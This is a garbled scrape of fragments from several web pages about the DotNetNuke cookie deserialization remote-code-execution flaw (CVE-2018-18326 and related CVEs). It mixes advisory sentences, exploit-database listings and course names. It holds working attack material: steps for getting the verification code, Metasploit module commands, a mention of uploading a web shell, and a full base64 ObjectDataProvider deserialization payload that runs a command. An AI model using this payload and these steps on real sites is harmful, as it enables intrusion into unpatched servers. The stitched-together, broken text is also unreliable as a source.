and usually sensitive, information made publicly available on the Internet. You can gather the verification code by registering a new user and checking your email. After having responsibly reported it through HackerOne, the DOD solved the high-severity vulnerability and disclosed the report, with all details now publicly available. organizations deployed web platforms powered by DotNetNuke worldwide. (Default DotNetNuke 404 Error status page). tags | exploit , xss advisories | CVE-2020-5186 You can also craft a custom payload using the DotNetNuke module within the ysoserial tool. Solution Upgrade to Dotnetnuke version 9.6.0 or later. We have analyzed around 300 DotNetNuke deployments in the wild and found out that one in five installations was vulnerable to this issue, including governmental and banking websites. To do this, log into the admin account, navigate to the “Admin” -> “Site Settings” -> “Advanced Settings” and look for the “404 Error Page” dropdown menu. To upload a web shell and execute commands from it, place it inside of the DotNetNuke Exploit DB module, and import it into the Metasploit – as we did in the demo. PWK PEN-200 ; ETBD PEN-300 ; AWAE WEB-300 ; WiFu PEN-210 ; Stats. DotNetNuke 07.04.00 - Administration Authentication Bypass. is that it doesn’t work with types that have interface members (example: and build the payload using a method belonging to one of the following classes: , which can result in Remote Code Execution. Content added to Folio. Rapid7 Vulnerability & Exploit Database DotNetNuke Cookie Deserialization Remote Code Excecution Back to Search. compliant archive of public exploits and corresponding vulnerable software, VMware Fusion USB Arbitrator Setuid Privilege Escalation by Dhanesh Kizhakkinan, Rich Mirch, grimm, h00die, and jeffball, which exploits CVE-2020-3950; DotNetNuke Cookie Deserialization Remote Code Excecution by Jon Park and Jon Seigel, which exploits CVE-2018-18326 Long, a professional hacker, who began cataloging these queries in a database known as the DotNetNukeEXPLOIT. How to exploit the DotNetNuke Cookie Deserialization. The last failed patch attempt was to use different encryption keys for the DNNPersonalization cookie and the verification code. by Cristian Cornea June 10, 2020. by Cristian Cornea June 10, 2020. by Alexandru Postolache May 29, 2020. by Alexandru Postolache May 29, 2020. You have to get the unencrypted format of this code by logging in as the new user, navigating to the “Edit Profile” page, inspecting the source code, and searching for the values of “userID” and “portalID” (possible to return a negative value. by a barrage of media attention and Johnny’s talks on the subject such as this early talk This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 - 9.3.0-RC. You can see an example payload below, using the. easy-to-navigate database. The idea sounds good and effective, except if the DNNPersonalization key was derived from the registration code encryption key. Ideally, only high privileged user is allowed to upload zip files, but using Vulnerability CVE-2020-5188 — extension bypass (CVE-2020-5188), a normal user can exploit this vulnerability. the most comprehensive collection of exploits gathered through direct submissions, mailing The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization. You can find this vulnerability in DotNetNuke versions from 9.2.0 to 9.2.1. msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set SESSION_TOKEN <.DOTNETNUKE>, msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set TARGET 3. How can I exploit DNN cookie deserialization? Scan your web application periodically with our Website Scanner and also discover other common web application vulnerabilities and server configuration issues. But that You can see an example payload below, using the, "System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", ExpandedWrapperOfObjectStateFormatterObjectDataProvider, [http://www.w3.org/2001/XMLSchema](http://www.w3.org/2001/XMLSchema) ", [http://www.w3.org/2001/XMLSchema-instance](http://www.w3.org/2001/XMLSchema-instance)  ", >/wEy3hgAAQAAAP////8BAAAAAAAAAAwCAAAAX1N5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24sIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAAAlU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5QU09iamVjdAEAAAAGQ2xpWG1sAQIAAAAGAwAAAKUXPE9ianMgVmVyc2lvbj0iMS4xLjAuMSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vcG93ZXJzaGVsbC8yMDA0LzA0Ij4NCiAgJiN4RDsNCiAgPE9iaiBSZWZJZD0iMCI+DQogICAgJiN4RDsNCiAgICA8VE4gUmVmSWQ9IjAiPg0KICAgICAgJiN4RDsNCiAgICAgIDxUPk1pY3Jvc29mdC5NYW5hZ2VtZW50LkluZnJhc3RydWN0dXJlLkNpbUluc3RhbmNlI1N5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24vUnVuc3BhY2VJbnZva2U1PC9UPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZSNSdW5zcGFjZUludm9rZTU8L1Q+JiN4RDsNCiAgICAgIDxUPk1pY3Jvc29mdC5NYW5hZ2VtZW50LkluZnJhc3RydWN0dXJlLkNpbUluc3RhbmNlPC9UPiYjeEQ7DQogICAgICA8VD5TeXN0ZW0uT2JqZWN0PC9UPiYjeEQ7DQogICAgPC9UTj4mI3hEOw0KICAgIDxUb1N0cmluZz5SdW5zcGFjZUludm9rZTU8L1RvU3RyaW5nPiYjeEQ7DQogICAgPE9iaiBSZWZJZD0iMSI+DQogICAgICAmI3hEOw0KICAgICAgPFROUmVmIFJlZklkPSIwIiAvPiYjeEQ7DQogICAgICA8VG9TdHJpbmc+UnVuc3BhY2VJbnZva2U1PC9Ub1N0cmluZz4mI3hEOw0KICAgICAgPFByb3BzPg0KICAgICAgICAmI3hEOw0KICAgICAgICA8TmlsIE49IlBTQ29tcHV0ZXJOYW1lIiAvPiYjeEQ7DQogICAgICAgIDxPYmogTj0idGVzdDEiIFJlZklkPSIyMCI+DQogICAgICAgICAgJiN4RDsNCiAgICAgICAgICA8VE4gUmVmSWQ9IjEiPg0KICAgICAgICAgICAgJiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5XaW5kb3dzLk1hcmt1cC5YYW1sUmVhZGVyW10sIFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzU8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5BcnJheTwvVD4mI3hEOw0KICAgICAgICAgICAgPFQ+U3lzdGVtLk9iamVjdDwvVD4mI3hEOw0KICAgICAgICAgIDwvVE4+JiN4RDsNCiAgICAgICAgICA8TFNUPg0KICAgICAgICAgICAgJiN4RDsNCiAgICAgICAgICAgIDxTIE49Ikhhc2giPg0KICAgICAgICAgICAgICAmbHQ7UmVzb3VyY2VEaWN0aW9uYXJ5DQogICAgICAgICAgICAgIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iDQogICAgICAgICAgICAgIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIg0KICAgICAgICAgICAgICB4bWxuczpTeXN0ZW09ImNsci1uYW1lc3BhY2U6U3lzdGVtO2Fzc2VtYmx5PW1zY29ybGliIg0KICAgICAgICAgICAgICB4bWxuczpEaWFnPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1zeXN0ZW0iJmd0Ow0KICAgICAgICAgICAgICAmbHQ7T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJMYXVuY2hDYWxjIiBPYmplY3RUeXBlPSJ7eDpUeXBlIERpYWc6UHJvY2Vzc30iIE1ldGhvZE5hbWU9IlN0YXJ0IiZndDsNCiAgICAgICAgICAgICAgJmx0O09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzJmd0Ow0KICAgICAgICAgICAgICAmbHQ7U3lzdGVtOlN0cmluZyZndDtjbWQmbHQ7L1N5c3RlbTpTdHJpbmcmZ3Q7DQogICAgICAgICAgICAgICZsdDtTeXN0ZW06U3RyaW5nJmd0Oy9jICJjYWxjIiZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgICAgICAgICAgJmx0Oy9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycyZndDsNCiAgICAgICAgICAgICAgJmx0Oy9PYmplY3REYXRhUHJvdmlkZXImZ3Q7DQogICAgICAgICAgICAgICZsdDsvUmVzb3VyY2VEaWN0aW9uYXJ5Jmd0Ow0KICAgICAgICAgICAgPC9TPiYjeEQ7DQogICAgICAgICAgPC9MU1Q+JiN4RDsNCiAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgIDwvUHJvcHM+JiN4RDsNCiAgICAgIDxNUz4NCiAgICAgICAgJiN4RDsNCiAgICAgICAgPE9iaiBOPSJfX0NsYXNzTWV0YWRhdGEiIFJlZklkPSIyIj4NCiAgICAgICAgICAmI3hEOw0KICAgICAgICAgIDxUTiBSZWZJZD0iMSI+DQogICAgICAgICAgICAmI3hEOw0KICAgICAgICAgICAgPFQ+U3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdDwvVD4mI3hEOw0KICAgICAgICAgICAgPFQ+U3lzdGVtLk9iamVjdDwvVD4mI3hEOw0KICAgICAgICAgIDwvVE4+JiN4RDsNCiAgICAgICAgICA8TFNUPg0KICAgICAgICAgICAgJiN4RDsNCiAgICAgICAgICAgIDxPYmogUmVmSWQ9IjMiPg0KICAgICAgICAgICAgICAmI3hEOw0KICAgICAgICAgICAgICA8TVM+DQogICAgICAgICAgICAgICAgJiN4RDsNCiAgICAgICAgICAgICAgICA8UyBOPSJDbGFzc05hbWUiPlJ1bnNwYWNlSW52b2tlNTwvUz4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49Ik5hbWVzcGFjZSI+U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbjwvUz4mI3hEOw0KICAgICAgICAgICAgICAgIDxOaWwgTj0iU2VydmVyTmFtZSIgLz4mI3hEOw0KICAgICAgICAgICAgICAgIDxJMzIgTj0iSGFzaCI+NDYwOTI5MTkyPC9JMzI+JiN4RDsNCiAgICAgICAgICAgICAgICA8UyBOPSJNaVhtbCI+Jmx0O0NMQVNTIE5BTUU9IlJ1bnNwYWNlSW52b2tlNSImZ3Q7Jmx0O1BST1BFUlRZIE5BTUU9InRlc3QxIiBUWVBFPSJzdHJpbmciJmd0OyZsdDsvUFJPUEVSVFkmZ3Q7Jmx0Oy9DTEFTUyZndDs8L1M+JiN4RDsNCiAgICAgICAgICAgICAgPC9NUz4mI3hEOw0KICAgICAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgICAgICA8L0xTVD4mI3hEOw0KICAgICAgICA8L09iaj4mI3hEOw0KICAgICAgPC9NUz4mI3hEOw0KICAgIDwvT2JqPiYjeEQ7DQogICAgPE1TPg0KICAgICAgJiN4RDsNCiAgICAgIDxSZWYgTj0iX19DbGFzc01ldGFkYXRhIiBSZWZJZD0iMiIgLz4mI3hEOw0KICAgIDwvTVM+JiN4RDsNCiAgPC9PYmo+JiN4RDsNCjwvT2Jqcz4L
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